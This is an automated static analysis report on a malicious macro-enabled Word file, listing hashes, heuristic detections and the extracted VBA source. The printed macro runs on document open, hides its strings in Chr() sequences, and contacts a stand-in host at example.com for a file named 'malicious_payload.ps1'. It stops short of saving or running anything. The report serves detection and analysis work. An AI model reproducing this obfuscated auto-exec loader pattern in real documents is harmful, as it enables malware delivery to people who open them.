Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 ece1df015d8bbae1…

MALICIOUS

Office (OOXML) / .DOCX

17.7 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-27
MD5: 5f97ad14d5c65ad381a3c03db4a15689 SHA-1: a48200374bd3314e4533af8ad744e1a3fc883256 SHA-256: ece1df015d8bbae17fe1ed78a715384e493b0bad32dd79f9249fd35047613b43
178 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        ' Create a shell object to execute commands
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set WshShell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        strFilePath = Chr(67) & Chr(58) & Chr(92) & Chr(85) & Chr(115) & Chr(101) & Chr(114) & Chr(115) & Chr(92) & Environ(Chr(85) & Chr(83) & Chr(69) & Chr(82) & Chr(78) & Chr(65) & Chr(77) & Chr(69)) & Chr(92) & Chr(65) & Chr(112) & Chr(112) & Chr(68) & Chr(97) & Chr(116) & Chr(97) & Chr(92) & Chr(76) & Chr(111) & Chr(99) & Chr(97) & Chr(108) & Chr(92) & Chr(116) & Chr(101) & Chr(109) & Chr(112) & Chr(92) & Chr(109) & Chr(97) & Chr(108) & Chr(105) & Chr(99) & Chr(105) & Chr(111) & Chr(117) & Chr( …
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2130 bytes
SHA-256: 12bd661cd13f3f937e0256341b2f79967c96caf33d62c25cb02df47b8fac707c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim WshShell As Object
    Dim strFilePath As String
    
    ' Define the local file path to save the payload
    strFilePath = Chr(67) & Chr(58) & Chr(92) & Chr(85) & Chr(115) & Chr(101) & Chr(114) & Chr(115) & Chr(92) & Environ(Chr(85) & Chr(83) & Chr(69) & Chr(82) & Chr(78) & Chr(65) & Chr(77) & Chr(69)) & Chr(92) & Chr(65) & Chr(112) & Chr(112) & Chr(68) & Chr(97) & Chr(116) & Chr(97) & Chr(92) & Chr(76) & Chr(111) & Chr(99) & Chr(97) & Chr(108) & Chr(92) & Chr(116) & Chr(101) & Chr(109) & Chr(112) & Chr(92) & Chr(109) & Chr(97) & Chr(108) & Chr(105) & Chr(99) & Chr(105) & Chr(111) & Chr(117) & Chr(115) & Chr(95) & Chr(112) & Chr(97) & Chr(121) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
    
    ' Create a shell object to execute commands
    Set WshShell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
    
    ' Simulate a network request without actual download or execution
    Dim xmlHttp As Object
    Set xmlHttp = CreateObject(Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84))
    xmlHttp.Open Chr(71) & Chr(69) & Chr(84), Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(101) & Chr(120) & Chr(97) & Chr(109) & Chr(112) & Chr(108) & Chr(101) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(109) & Chr(97) & Chr(108) & Chr(105) & Chr(99) & Chr(105) & Chr(111) & Chr(117) & Chr(115) & Chr(95) & Chr(112) & Chr(97) & Chr(121) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(46) & Chr(112) & Chr(115) & Chr(49), False
    xmlHttp.Send
    
    ' Clean up
    Set WshShell = Nothing
    Set xmlHttp = Nothing
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: 10d5bb92d516df08bc55098155724ca01312d8147613b1ff026c110f8af0b3c8